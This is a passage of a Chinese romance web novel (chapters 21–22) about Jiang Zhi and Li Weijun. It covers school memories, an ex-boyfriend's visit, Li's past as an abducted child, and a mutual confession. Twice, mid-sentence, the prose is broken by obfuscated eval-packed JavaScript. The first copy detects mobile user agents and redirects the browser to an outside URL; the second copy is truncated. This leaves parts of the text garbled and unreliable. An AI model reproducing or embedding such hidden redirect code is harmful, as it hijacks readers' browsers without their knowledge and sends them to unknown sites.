姜至肘着下巴看窗外,试图回忆高中那三年,但能想起来的关于李惟钧的事还是寥寥无几。 她打开许久未用的Q.Q,自从推出微信之后她就没再用过这个软件,许多好友也都已经不再登陆了,聊天记录也全是空白,李惟钧的头像是暗的,姜至看着他的资料卡,觉得他们俩都不像是一个年代的。 李惟钧貌似从没换过头像和网名,头像是Q.Q最原始的那只企鹅,网名是他的名字首字母缩写:LWJ,空间更是干干净净。 高铁缓缓发动,从市中心出发一路向西,经过隧道前,姜至瞥见清潭的一个标志性建筑—— 一中主教学楼,格致楼。 格致楼楼顶建了一个小塔尖,上面是一盏石英钟,这幢建筑建成之后还获过鲁班奖,一楼大厅有一座毛主席雕像,旁边还有一个著名建筑师的石碑题字,这些一直以来都被校方当成宝贝宣传,而且每次期末考试成绩在年级前五的学生都会在雕像和题字前举着奖状合照,都快成一中传统了,不知道现在还有没有继续保持。 姜至记得李惟钧每次期末考试之后都会去那里拍大合照,算起来应该一共有六次合照,她本来也应该有六张的,但高一上学期的期末考试失利了,走读之后玩心太重,太过于“轻敌”,导致她期末考一下子从班里第一掉到了第三,只有五次合照。 她是高一上学期11月底开始走读的。 自打活动课任丽娟给她往学校拿香薰蜡烛那天起,姜至在宿舍就没睡好,那蜡烛不能点,每晚照样失眠,又撑了一段时间,怪她娇气,还是实在没办法适应,便趁着周六日放假回家跟任丽娟说了,一家人商量了很久,最后任丽娟找班主任办了走读手续,于是姜至便开启了每天骑电动车上下学的日子。 那段时间晚上倒是能睡好觉了,但早上就得早起一会儿,冬天晨起温度低,出被窝很困难,姜至还迟到过几回,早自习犯困是常有的事,李惟钧看到她迟到或者打盹就睁一只眼闭一只眼只当没看到,姜至就有点作威作福的意思,每次都仗着他检查正大光明的用书挡着自己在最后一排补眠,有几次晚上在家没写完作业还来学校抄过李惟钧的。 第一次借他作业来抄的时候,李惟钧非常不可置信,在此之前他从未见过班里的尖子生抄别人作业,永远都只是别人抄尖子生的作业,姜至又一次在某些方面刷新他的认知。 但他不知道姜至还会在更多方面刷新他的认知。 姜至偶尔也觉得自己这么干很过分,但她是个在熟悉的地方和熟悉的人面前极其容易没有自制力的人,尤其办了走读之后,晚上时间很自由,可以随便玩电脑玩手机看电视,那段时间芒果台正在播韩剧《拜托小姐》,每次下了晚自习回家正好能赶上直播,而且她胆子非常大,还偷偷往学校带过手机。 非常惊险的一次,晚自习班里正在组织看《新闻周刊》,结果学校突然停电,整间教室一下就黑了,只有最后一排她的手机屏幕亮着灯。 姜至弯着腰,额头趴在胳膊上,正在逛《拜托小姐》贴吧,还没反应过来什么,旁边的李惟钧眼疾手快地把自己校服外套往她手上一扔,姜至吓了一跳,李惟钧在黑暗中看着她,说:“停电了。” 姜至这才把注意力找回来,发现整条楼道都是学生兴奋的呼喊,几个老师和高一年级主任打着手电筒在楼道里来回维持纪律。 对于高中生来说,停电是一件非常幸福的事,尤其在教室里停电,有一种格外独特的兴奋感。 姜至把他的外套还回去,上面还带着他灼热的体温,估计是慌乱之中脱下来扔给她的,“多谢!你救了我一命啊!” 李惟钧不知道她从哪儿来的胆子,姜至这属于顶风作案了,他盯着她手里灭掉的手机,明明是她在偷玩,但不知道为什么,担心的人反倒是他,是他的胆子太小了吗? 他之前从没想过这件事,只有在姜至身边,他才会冒出这些无厘头的问题,才会对自己固有的认知产生怀疑。 是姜至让他觉得,他是个胆小鬼。 姜至真的是个神奇的女孩子。 李惟钧说:“班主任不让带手机。” “嘘!你小点声啦!”姜至凑近他。 李惟钧闻到她身上洗衣液的香气,身子忽然紧绷起来,却没离开,但也没有看她,似乎可以想象到此刻姜至把手指比在嘴唇前,嘟着嘴的样子。 姜至说:“我知道他不让带啊,平时上课我从来不玩,今天晚自习不是老师不在吗。” 李惟钧说:“班主任还没走呢。” “嘘!” 李惟钧:“……” “小点声,被老师发现我就完了,伤不起啊!” 李惟钧 :“……” “我马上就好,你帮我看一下老师吧,拜托了!” 李惟钧眨了下眼,脑子还在想要不要这么做,但是身体却很诚实,上半身往前挡住她,眼睛下意识往外“巡逻”,姜至抽了本书盖在手上,正要接着打开手机回帖,忽然想起来什么,随后,李惟钧感觉胳膊被人轻轻碰了下,他侧头,“喂李惟钧,你不会告密的对吧。” 好像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191206|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音比较大吧,李惟钧发现她是真的不会用气音说话,而且自己还不知道,嗓门永远都那么洪亮。 他极轻地“嗯”了声。 姜至放心了,又问他:“你Q.Q号是什么?咱们好像还没有加好友哎,加个好友吧。” 李惟钧写给她,姜至输入,添加,“我发验证申请给你了!” “我得放假回家才能同意。” 姜至摆摆手:“没事儿。” 李惟钧从来没有那么盼着放假,盼着回家,但家里没有电脑,李承良的手机也没有Q.Q,每次上网只能去网吧开台电脑,3块一个小时,李惟钧开了两个小时,登上Q.Q。 姜至的头像在闪,她的网名叫小乌龟,头像是《虹猫蓝兔七侠传》的蓝兔,个性签名写着:神马都是浮云。 李惟钧点了同意,界面跳转,弹出了姜至的对话框。 然而他看着对话框,脑子里却是一片空白。 要说些什么呢? 输入法删删减减,最终,李惟钧还是什么都没说,点进她的空间看了圈。 姜至的空间很热闹,她几乎每天都发动态,碎碎念吐槽学校吐槽食堂,还吐槽某男明星长得丑配不上某女明星,当然也夸过某男明星长得帅,但更多的是看小说写的书评,她看书很杂,但正经书完全没有,基本都是班主任三令五申不让看的闲书,李惟钧往下滑了滑,看到她分享了一首歌—— 《微笑pasta》插曲《小乌龟》。 是她的网名。 那天,他戴上耳机,把这首歌循环播放了将近两个小时。 直到网管提醒他上网时间马上要到了,他还是没想好要跟姜至说什么,害怕太突兀,害怕没话说,关于姜至,他有太多害怕的事了,所以只给她最近发的一条说说点了赞,没想到她正在玩Q.Q,直接来私聊了他。 独属于Q.Q信息提醒的“滴滴滴滴”声响起来,李惟钧的心也随着姜至的头像晃了晃。 姜至说:【李惟钧,你终于上线啦!】 李惟钧说:【不好意思,我刚到家。有什么事吗?】 【哦哦没事没事,我就是想问你有木有带地理作业?】 【带了。】他明白她这是又想抄作业了,想了想“有木有”是什么意思,斟酌道:【你需要借鉴吗?】 姜至一时竟不知道他是在讽刺还是在说真心话,隔了半天才回了一句:【你都会啊,那你真是给力哦。】 最近很流行这些网络用语,学校里很多人都当做口头禅来说,李惟钧多多少少也跟着了解了一些,但此时此刻是真懵了,他觉得姜至这句“给力”话里有话,但又不知道自己哪里说错了,想问,但又不敢问。 他试图找补:【这次的题确实比较难,有的我也拿不准。】 姜至回过来,直接了当:【那我确实需要借鉴一下。】 他说:【好的。】 那之后,李惟钧就很少在网上跟姜至说话了,因为总是害怕惹她不高兴,虽然跟她聊天他非常开心,甚至只说一两句话也会激动一整天。也很少去她的空间了,害怕自己忍不住点赞,更何况访问空间是会留下痕迹的,姜至的空间很有趣,看一遍不觉得够,看两遍也不觉得够,无论看多少遍都不觉得够。 但是胆小的人很怕留下太多痕迹。 高一上学期,他最后一次主动上线是在过年前夕,赶在网吧关门前给姜至发了一句:【新年快乐,姜至。】 姜至回得很快:【新年快乐李惟钧,祝你未来金榜题名!】 【不过你说得好早,连除夕都没到呢。】 李惟钧说:【赶早不赶晚^_^祝你早早就快乐。】 姜至回:【谢谢你哦TvT】 这个表情是什么意思呢,李惟钧又不知道该发什么了。 后来李惟钧无数次回想起高一这半年才发觉,他和姜至之间的相处完全是由他的纵容,“揣摩”和“害怕”组成的,他不知道自己为什么总是向她妥协,她只要向他提出请求他就会不遗余力地去做,也不知道自己为什么总是下意识“揣摩”她的开心和不开心,更害怕自己惹她不开心。 李惟钧想,姜至大概真的很神奇吧,他的生命里第一次出现这么丰富多彩的女生,和她在一起,他都变得丰富多彩了。 没有人会不喜欢丰富多彩的人,他也是。 21.盛夏将至(3) 盛夏将至(3) 五一假期的最后一天,李惟钧照旧起得很早,给姜至的郁金香浇完水再回到屋里,郑阿姨已经把早饭做好了。 往常这个时候,姜至就该起床上班了,他总是会提前准备好早饭在一楼等着她下来,尽管她现在没在民宿,李惟钧却还是下意识延续了这个习惯,等他端着饭盒从厨房出来,才忽而反应过来姜至还没回来。 李惟钧在楼梯口前呆愣了会儿,时间好像过得太漫长了。 姜至说今晚八点到机场,但从清潭直达西途的机票没了,她得先坐一趟高铁再转坐飞机,李惟钧算着时间,上午和高越冬一起帮郑阿姨里里外外打扫了一遍民宿卫生,下午换了身干净衣服拿上车钥匙,刚准备出发去机场,迎面就碰上梁嘉西进门。 他再次摆出身份证,“这次有房间了吧,一间大床房,多少钱无所谓。” 高越冬看向李惟钧。 送上门的生意,不要白不要,李惟钧再不愿意也没有赶客的道理,示意高越冬登记,“住几天?” 梁嘉西看着李惟钧说:“一周吧,我等姜至回来再接着续。” 李惟钧递给他房门密码,“上楼左转,201。” 梁嘉西的目光再次从李惟钧脸上瞥过,却没从他的表情中感觉到一丝慌乱,自从上次见面起,他始终淡然,好像没把他放到眼里,但是说出来的话却很有分量,也能很清晰地感觉到他对姜至是什么感觉。 姜至身边是什么时候出现这号人的呢?她又清楚他是个什么人吗? 李惟钧懒得跟他多说,再不去机场姜至都该落地了,他简单跟高越冬交代了两句,往外走。 但没想到梁嘉西跟了出来,“姜至在这儿就住这种屋子?” 李惟钧脚步停下,冷声问:“哪种屋子?” 他不紧不慢地走出来,在院子里环视了一圈,“我在清潭也开了个酒店,算上去咱们还是同行,说实话,你这儿环境是不错,但到底离市中心有点距离,地方小,房间也小,来来回回也不知道住过多少人。” 他站在李惟钧面前,眼睛中有实打实的志在必得,“从前姜至出门,再不济我也会给她订套公寓,但就算这样,她也总跟我吵吵住不惯,现在在这间民宿,房间连阳台也没有,不是很委屈了她吗?你可能不太了解她,她从不跟不熟的人说心里话,所以这些事你大概不清楚。” 李惟钧垂下眼睑看时间,面不改色地说:“你说完了吗。” 他的冷静让梁嘉西忽然觉得自己像个跳梁小丑,“姜至是个不会受委屈的姑娘。” “所以呢?”李惟钧撩起眼帘,有些不耐烦了,怎么会有男人这么啰嗦? “等她回来,我会帮她另找一个住处。” 李惟钧嗤笑,转身欲走,盛夏将至的大门忽然打开了。 姜至提着行李箱站在门口,不知道在这儿站了多久。 “提前回来怎么不告诉我,我正打算去接你。”李惟钧很快反应过来,神色缓和了些,上前接过她手里的箱子。 姜至预想之中的情形不是这样的。 她来的路上还在想,李惟钧见到她肯定会非常惊讶,非常开心,那么她改签的目的就达到了,而且这几天的分别让她收获了很多,李惟钧应该也一样。 但她却忘了这里还有一个梁嘉西。 回神,她笑着说:“我早点回来看我的花啊,走了这么多天当然要给花一个惊喜。” 花惊喜不惊喜不知道,人是挺惊喜的,李惟钧跟着笑了起来。 两个人旁若无人的亲近让梁嘉西双眼刺痛,不过很快,姜至就如他所愿,把眼神放到了他身上,分手之后他们再也没有这样心平气和地面对面交流过了。 姜至指着那丛开得馥郁芬芳的郁金香说:“这是我种的,回清潭这几天一直都是李惟钧在帮我照顾它们,看来他养得很好。” 说着,她给了李惟钧一个夸赞的眼神。 李惟钧笑了笑,提着她的行李上了楼,高越冬也被支走了,特意给他们两个人留出了说话空间。 梁嘉西不知道该说什么,姜至也没管他此刻是什么心情,俨然像个老板一样自顾自同他介绍这间民宿,“对了,一楼你参观过了吗?前台的花瓶是我买的,我在这里的时候会从后院摘几束野花放进去,花瓶插上花之后摆在屋里很好看,冰箱上的冰箱贴和照片也是我弄的,餐厅椅子上的坐垫是我跟郑阿姨一起织的,但是我织的没她织得好,还有左边那面墙上的照片也是我找人印出来的,是我们的合照。” 这也是姜至第一次看他们的合照,李惟钧搂着她,他们俩都笑得很开心。 这个拥抱也是刚才姜至预想中的场景。 但是很遗憾。 “你懂我什么意思吗?盛夏将至对我来说,从来都不是一间想来就来想走就走的民宿,这里跟你的酒店不一样,不要把它们放在一起比较。”姜至说:“这里是我在西途的家,我很爱我亲手装扮的家,李惟钧也很尊重我,我从没觉得委屈,相反,和他在一起每一天我都快乐。” 姜至的眸光一瞬间变得犀利,“你太自大了,从来就没了解过我。” 大概十几分钟过去,李惟钧在二楼的公共阳台看见梁嘉西上来,随后原封不动把行李搬出来,头也不回地走了。 房间虽然没动过,但李惟钧还是换了新的床品,把那堆旧的扔进洗衣机里,高越冬翻了翻订单,忽道:“小姜姐,刚才那男的没退房啊。” “我想给他退房退钱来着,是他先说不用了,他钱多烧得慌爱面子不要,那我们为什么不赚呢。”姜至看向李惟钧,又想起设想中的那个拥抱,愤愤道:“而且谁让他来坏好事了?合格的前任就应该像死了一样!” “还没吃晚饭吧。”李惟钧打了个岔。 姜至摇头,没心情了,“不饿。” “点几个菜?我给你做。”李惟钧牵起她的手走到厨房门口,戏谑道:“再噘嘴都能挂油瓶了。” 姜至就是气不过,她现在听不得任何贬低盛夏将至的话,更何况梁嘉西从未了解过这间民宿就说那些话,让她有被冒犯的感觉,十分不舒服,“你都不生气吗?他那样跟你说话……” “为什么生气呢?”他懒懒靠在门框上,反问。 姜至看着他,“你不要多想,我从来没委屈过,在这里很舒服。” 李惟钧又笑了,直视着她的眼睛,说:“嗯,我知道,我没有生气,你也替我反击了不是吗。” “而且——” 他抬手,轻轻环住了她的腰。 预想中的怀抱终究还是来了,李惟钧抱住了她。 姜至感觉自己一点点被他的双臂搂进怀里,很紧,很紧,她的胸腔立刻就被填满,所有小脾气全被他的温度和气息赶走。 他伏着身子,嘴唇凑近她的耳畔,温声说:“你提前回来我很开心,什么都无所谓了,所以我们都不要为了无关紧要的人生气,好好吃饭,好吗?” 姜至的耳朵贴近了李惟钧的心脏,她听见那里传来扑通扑通的剧烈跳动,在他颈窝里偷偷笑了下。 看来他抱她时并不像表面上这么淡定,还是很紧张的嘛,不用想,耳朵肯定也很红,姜至往他怀里挤了挤,满意了,“我自己吃不下去,你要跟我一起。” …… 小长假过去,西途人来人往快节奏的生活变了,盛夏将至的节奏也跟着变了,来住店的客人不多,民宿每天都很清闲,明眼人也都看得出来某两个人之间的关系似乎也变了,对于一些正大光明的起哄或是调侃也不再避讳,一切都挺让人满意,唯独姜至的工作不太令人满意。 算一算就快要到西部计划的笔试时间了,姜至提前跟校长提了辞职,让教务处把她的课安排到高考前就结束,所以这段时间她忙得脚不沾地,也很少休息,本打算直接一口气干到离职,但方其澜趁周末来了趟民宿,亲自叮嘱李惟钧20号那天晚上带她上家里吃饭。 姜至一问才知道,5月20号那天是李惟钧的生日,她还说:“这个日子不错哎。” 方其澜的脸色一滞,不过很快就说:“我妈会生。” 这是姜至第一次给李惟钧过生日,她知道的太突然,想了很久要送他什么,但李惟钧貌似什么都不缺,她也偷偷问方其澜,但她也说不清楚李惟钧到底想要什么,姜至觉得有点奇怪,但很快被礼物这件事给压下去了,每天下了班就钻回屋,也不跟郑阿姨闲聊了,只说自己最近太累,想早点休息。 5月20号当天,李惟钧来公司楼下接她,姜至特意早早收拾好,先让他带她去了趟超市,第一次登门拜访,总不能空手吧。 李惟钧想说,对于方其澜来讲,她这个人就是最棒的上门礼,不过看她这么兴奋,还是什么也没说。 到家时饭已经做好了,整整齐齐码了一桌,非常丰盛,有西途菜,甚至还有姜至爱吃的清潭菜,她很惊喜,“澜姐你还会做清潭菜?” 方其澜说:“我弟说你爱吃这些,就让你姐夫学着做了做。” 姜至道了声谢谢,有点不好意思了,悄声跟李惟钧说:“你过生日呢,说这个干什么。” “我生日你也要吃得开心啊。”他说。 姜至抿了口啤酒,心里美滋滋的。 方其澜给李惟钧订了一个超级大的蛋糕,估计要吃好几顿才能吃完,姜至发现方其澜这个姐姐对他弟是真好,过生日的流程也一项不落,期间又是拍照又是录视频,格外兴奋,看上去非常重视他的生日,这场生日小聚氛围很好,搞得姜至也一起多喝了几杯酒,以至于碗里的米饭还剩下一大半就吃不下了。 第一次来李惟钧姐姐家就剩饭,不太好吧。 正发着愁,碗就被李惟钧拿到他面前,他很自然地吃起她那半碗米饭,姜至心如擂鼓,本来因为喝酒而酡红的脸颊变得更红了,“这个是我……” 李惟钧说:“没事儿,吃不完就不吃。” 她是想说那是她吃剩的……但是他都不介意,那她就更不介意了。 酒过三巡,方其澜醉醺醺地靠在林空肩膀上,有一搭没一搭地跟姜至聊着天,姜至的酒量比她好一点,还算清醒,逗得她哈哈大笑。 但笑着笑着,方其澜的眼泪就冒出来了。 林空给她擦擦眼角,她呼了口气,朝李惟钧说:“今天我真的很高兴,我们桉桉真的长大了,都到有女朋友的时候了。” 姜至被“女朋友”这个字眼挠了下,但随即捕捉到什么,颇感意外地看李惟钧,“桉桉?” 方其澜来了精神,直起身子,“桉树的桉,奶奶说他五行缺木,所以才给他起了‘桉’这个字。” 姜至问:“这是小名吗?” “对,从小我们就这样叫他。” 姜至挑眉,又冲李惟钧喊了几声:“桉桉。” 李惟钧捏了捏姜至的脸。 方其澜看着他们俩,打心眼儿里觉得般配,合适,她的心终于在这一刻完全放下了,随后猛地想起件事,到屋里去拿给李惟钧准备的生日礼物。 看见那些东西,姜至愣了瞬,不禁感叹,这也太多了吧。 但马上,姜至就明白了。 方其澜挨个递到李惟钧手上,一边递一边说:“这是替妈妈送的,这是替爸爸的,这是我的。” “这些都是补给你20岁的。” “这个是今年,送给你24岁的。” 姜至已然懵了,方其澜和林空的表情掺了很多她看不懂的情绪,她不知所措地望向李惟钧,却发觉他的眼角隐隐有光,他回望过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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1999年6月18号,正好是端午节假期的最后一天,那天他妈妈鲁英为了准备给他爸爸方振海过生日的食材,从幼儿园接了他之后去菜场买菜,结果被一伙人贩子故意隔开,和他走散了。 四个月后,那伙人贩子几经辗转带他来到清潭周围,方其桉偶然遇到一次逃跑的机会,但是还没跑多远就被抓住了,被打得浑身是伤,人也发了高烧,人贩子怕他死在手里,便把他随便丢在了一个村子周围,但他福大命大,很幸运地被李承良捡到了。 等方其桉醒过来,从前的记忆就已经记不清楚了,不知道自己几岁,也不知道自己叫什么,从哪儿来,只知道自己昏迷前在逃跑,挨了好几顿打,是李承良凭借他身上破败不堪的,写着“大(一)班”的幼儿园校服判断出来他的年纪,并心软地把他养在了身边,给他起名叫做:李惟钧。 这个名字本来是李承良打算给他未来的儿子起的,但他刚从监狱出来,老婆跟人跑了,自己一身病,钱全败光了,还欠了一屁股外债,家里穷得叮当响,捡到李惟钧那天,他其实也是打算自我了结的。 是那个孩子拯救了他。 他们拯救了彼此。 自此,父子俩相依为命过了14年。 这14年间,李惟钧从不知道自己还有亲生父母在等着他回家。 妈妈鲁英因为弄丢了他而自责,身体每况愈下,2003年离开了人世,爸爸方振海是个警察,但借助警察身份也没能在茫茫人海中找到儿子的线索,最终也在姐姐方其澜高考结束后撒手人寰,而后方其澜选择当了警察,继承方振海的警号接着找弟弟。 2013年6月,李惟钧高中毕业,同一时间,李承良也因为一场意外猝然离世。 2013年9月,李惟钧办完李承良的后事独自离开清潭,办了助学贷款,勤工俭学,一直到2015年大三,才通过各种手段找到了方其澜。 辗转16年,李惟钧找回了方其桉这个身份,找回了家人,在这个世界上终于不再是孤苦伶仃一个人了。 鲁英和方振海生前最大的愿望就是找到方其桉,阖家团圆,然后看着他们姐弟俩立业成家,结婚生子,但直到去世前这个愿望也没实现,李惟钧认祖归宗后,方其澜就接替了他们父母的遗愿照顾李惟钧,操心他的生活,操心他的一切,在他大学毕业,工作有了着落之后总是催促他赶紧找个女朋友,再谈一场恋爱。 李惟钧本以为,他不会再遇到那个喜欢的人了,但2018年的情人节,姜至却闯进了盛夏将至。 * “好了好了,别哭了。都过去了,你还哭什么呢?姜至。” 大雨倾盆降落,这是西途今年的第一场春雨,毫无预兆地和姜至的眼泪一起落下来,让李惟钧的内心湿得一塌糊涂。 是啊,她哭什么呢? 明明自己没有经历过,却还是感同身受,姜至也不知道到底是为什么,她只知道自己的心很疼很疼,像是被狠狠拧着攥着,其实刚才在楼上,在方其澜面前就想哭,但一直忍着,现在在李惟钧身边,听完他平静的叙述,一下子就忍不住了,眼泪像泄了洪一样往外冒。 李惟钧没想到她会这样,整个人都慌了,手忙脚乱地找纸巾给她擦眼泪,结果越擦越多,最后实在没辙,干脆从副驾驶把人抱过来,按在腿上哄。 “是不是觉得我可怜了?”他调笑道。 姜至抽抽噎噎地摇头,红肿的眼眶蓄满了泪,“没有!不是的。” “那就是心疼我了。” 姜至不回答,一个劲儿呜咽。 李惟钧把座椅往后调了调,让她趴在怀里,手掌顺着她的背脊说:“我觉得我很幸运,虽然非常遗憾没能见到我亲爸亲妈的面,但是我爸捡到我给了我一条命,能让我顺利长大找回他们,我就已经很感激了,而且你知道吗至至,这个世界上还有很多走丢的人找不到家,我是幸运的,也很知足了。” 姜至说:“他们都很爱你。” “我知道,我也很爱他们,他们这辈子过得都不容易,以前痛苦的事都已经过去了,我希望他们在天之灵,能因为我的幸福而开心。” “那你现在幸福吗?” 李惟钧温柔地蹭着她的眼角,浅笑着说:“你不哭我就幸福了。” 22.盛夏将至(4) 盛夏将至(4) 姜至成功破防,好笑地拍了李惟钧一下,但也想到今天是他生日呢,总不能就这样哭哭啼啼过完剩下的好时间吧,于是尽量让自己克制下来,害怕影响到他的心情,也不说话,窝在他腿上平复呼吸。 这个姿势被他搂住,让姜至觉得自己像是被他捧着的什么稀世珍宝。 她哭得很惨,眼泪是真心实意为他而流的,李惟钧却可耻地从中感到几分愉悦,面贴面拥抱的姿势让他们之间的距离几乎变为零,身体严丝合缝地贴在一起,不知道是谁的体温越来越热,到最后他就像是抱了一个火球。 姜至也这样认为。 她能感觉到李惟钧呼出的气息灼热,侧头时不经意刮过她耳廓的嘴唇也滚烫。 姜至心尖越来越燥,所有的心疼与难过在这股温度的熨帖中全然变了调,不知不觉间,她的腿僵了,却像个青涩的笨蛋一样不知道该怎么动。 李惟钧说:“我忽然想起一件事。” 姜至找到机会动了动身子,两条腿的麻劲儿让她蹙着眉“嘶”了下,“什么?” 她的眼睛还是很红,得赶紧冷敷,李惟钧蜷起手指,在她眼周轻柔地按了起来,“我的生日礼物呢?” “在民宿放着,”姜至看了眼时间,猛地从他怀里退出来,背脊隔着他的手掌抵住方向盘,“回去吧,都这么晚了。” 李惟钧拍了拍她的大腿,意味深长地看着她,“能自己坐过去吗?” 姜至按在他肩膀上,成年男人宽阔的骨架在掌心下舒展开,紧实的肌肉压根儿捏不动,浑身是劲为什么不好好利用呢,她毫不客气地说:“是你抱我过来的。” 李惟钧笑出声,掐着她的腰两侧把人放回去,“嗯,我抱的,我永远负责。” 雨下得太大,李惟钧没有开特别快,回到民宿已经快到24点了,他先下车从后备箱拿了一把伞,再绕回到副驾驶接她下来,春末的雨丝虽然温柔,但混着夜晚的风朝她倾斜过来,还是有点冷的,姜至打了个哆嗦,裙角湿了,湿漉漉贴着她的小腿。 再一侧头,灯影下,李惟钧半个肩膀也湿透了。 降落的雨幕模糊了所有感官,天然的白噪音让姜至大脑放空了一瞬间,在那一瞬间里,她任由自己的心去选择,一把抓过他的胳膊搭在自己肩膀上,让他搂住她,还往他怀里挤了挤,对上李惟钧漆黑的目光,说:“你个子太高我够不到你,只能让你来搂我了。但你拿的这把伞有点小啊。” 李惟钧扣紧她的肩头,“将就一下,后备箱只有这一把。” “你不冷吗?”她的目光仍旧放在他湿透的半边肩膀上。 李惟钧说:“不冷。” 姜至急了,把倾斜的伞扶正,“笨蛋,偶像剧才像你那样打伞啦!” 一进屋子,姜至就先扯了条干毛巾披在李惟钧脑袋上,赵理明在值夜班,倒了两杯热水递给他俩,李惟钧擦着头发问他今天民宿情况怎么样,他说有三对情侣来住店,不过自打他们晚上从外面回来,就再也没从房间里出来过。 今天确实是情侣扎堆日,姜至还在琢磨民宿房间有准备那些东西吗?她从没注意过这件事。 很快,姜至三两口喝完水,着急拽着李惟钧上楼看礼物,两个人踏上二楼,她就隐隐约约听见楼道口正对面的房间闹出几声动静。 虽然有隔音墙,但还是断断续续能听见细微的声音,好像是在挪柜子,柜角摩擦在地面上发出“呲啦”一声,很短暂,随之而来的就是女人柔媚的嗓音。 姜至脑子里卡壳了两秒,一下就明白过来,在这里住这么长时间还没听见过现场直播,差点都忘了这里是民宿,情侣来民宿都会干些什么呢? 她没控制住自己,想的有些多了,耳朵噌的一下热起来,头也不抬地往房门口走。 李惟钧默不作声地跟在后面,她都不好意思抬头看他的表情,结果越不好意思那道声音就越清晰,像跟她对着干一样在耳边立体环绕,走廊太安静了,身后的男人也依然没出声,可她似乎却能感受到他的目光落在她烧红的耳尖上,这让姜至尴尬地扯了扯唇,心里一急,输密码的手便抖了,提示错误。 她赧然嘟囔了句,慌乱之中,李惟钧盖住她的手背,她被烫了一下,下意识侧头,嘴唇差点擦着他的脸颊,他轻声说:“慢慢输。” 啪嗒一下,门打开,姜至像看见救星一样扎进屋里,关上门,走廊那道羞人的声音终于被隔绝了。 她转过身,李惟钧就站在她身后,眼神肆无忌惮地放在她脸上,放在她的嘴唇上,呼吸节奏被压抑得很慢,很低。 他和以前似乎有些不一样了。 屋里没开灯,密集的雨点打在她的窗柩上,就像打在她心脏一样发出噼里啪啦的声音,姜至深吸了口气,没忘记先干正事,打开壁灯,暖黄色的光亮起来,两个人同时眯了眯眼。 李惟钧先闻到了熟悉的橘子香,缓缓睁开眼睛,他送的那个香薰蜡烛摆在她的床头。 姜至把桌上的礼物盒递给他,“喏,送给你的24岁生日礼物。” 李惟钧笑着接过来,“我能现在拆开吗?” 姜至忽然有点紧张,会不会太简陋了?他会喜欢吗?点点头,道:“可以啊。” 是她手织的蓝色围巾,蓝色手套,和一张小毛毯。李惟钧眼底闪熠,总算知道她这段时间为什么总是一个人在屋里待着了,指尖轻轻上去摸了摸,毛线触感柔软,“谢谢你姜至,我很喜欢。” “这是我第一次给男生织这些,虽然现在这个季节用不到了,但你以后用得上啊。”姜至看着他宝贝的眼神,语气也放松了,“其实我本来打算给你织一件毛衣的,已经跟郑阿姨学会了,但是时间太紧来不及,就给你织了一条毛毯,午睡的时候可以盖肚子。” 李惟钧抬眼,“第一次给男生织?” “对,你幸运吧,我都没给我自己织过东西。” 李惟钧盖上盖子,把礼物抱在怀里,很认真地说:“我给你织,以后我都给你织。” 姜至不说话了,盯着他紧贴着身体的上衣,肩膀那里的颜色要比别的地方深许多。 这个男人好可恶啊,又来勾引她了。 他不是个随随便便给女生承诺的人,也并非不懂什么是“喜欢”的人,那他说了那句话,现在还在等什么呢? 姜至觉得有什么东西在她的胸腔来回跑动,几欲要跳出来。 是因为她喝了酒,太急躁了吗?这个场合是不是不太合适?可什么场合是合适的呢? 李惟钧看着她轻轻咬着自己的嘴唇,殷红的颜色在暖黄的灯光下愈显明艳,他喉结滑动,瞥开视线,“你的裙子湿了,换身干衣服早点睡觉吧,我待会儿给你送一杯热茶上来。” 姜至直愣愣看着他,他转身欲走,她决心不再等了,叫住他:“李惟钧,你为什么要给我织?” 李惟钧明显愣住,被她的直接挠了下。 姜至又问:“为什么只拿一把伞?你的后备箱有两把,都是我放进去的。” 李惟钧的思绪慢慢反应过来。 她的耳膜也在鼓动着,忍着羞燥,直视着李惟钧的眼睛,追问:“为什么要留我在盛夏将至?” “为什么要让我入股?” “为什么专门给我买清潭的橙子?” “为什么单独教我滑雪?” 太多太多了,太多他做过的事情,好像都是为了她。 姜至问完,反倒充满了勇气,双眼亮晶晶的,她甚至不用听李惟钧关于那些“为什么”的答案,自己就能得到一个喜人的结果,“李惟钧,你喜欢我,对吗?” 李惟钧张张嘴,可他的脑子太乱了,身体像是被点燃,这些直白的问题一个个朝他砸过来,让他恍然想起许多,他想起高中的姜至,想起预想中的表白…… 可在触碰到姜至真挚坦然的目光时,乱糟糟的思绪又猛然变得清晰起来,心潮从未有这样澎湃喷涌的时刻。 李惟钧的表情略显急迫,声线却是笃定的,“你等等我,等等我,就几秒钟。” 说完,他飞速跑下楼,着急忙慌从前台花瓶里把那束花拿出来,又回屋找到姜至拍的他那张照片,临上楼前给赵理明留了句:“小明你先回屋。” 上了楼,姜至坐立难安地在屋里等着他,见他进屋慌忙站起来,双手捏紧了裙角,他反手把门关上,略微有些气喘地把花递给她。 姜至有些摸不着头脑地把花拿在手里,花枝还是湿的,正在往地板上滴水,应该是他从花瓶里抽出来的,她讶然道:“这花……” 李惟钧却把那张他的单人照拿出来,脉搏疯狂搏动着,“姜至,你为什么要拍这张照片?” 这张…… 他是怎么拿到的呢? 李惟钧站到她面前,脚尖离她不过一拃长的距离,温声说:“我喜欢你,很喜欢你,姜至。” 他的眼眶热了,这句话迟到了多久呢?但历经漫长的时光和岁月,终于还是让他说出来了。 如愿看到姜至眼睛里闪烁着他,闪烁着光,李惟钧紧张地咽了咽干涩的喉咙,又低低出声:“你也喜欢我,对吗?” 一切声音好像瞬间消失了,姜至像是掉进真空世界,心跳也仿佛停止了,但仅仅只是那一刻,那一刻过后,她的心跳突然快得非常离谱。 她在李惟钧热切的目光里重重点头,点了好几下,说:“对!我喜欢你,李惟钧。” 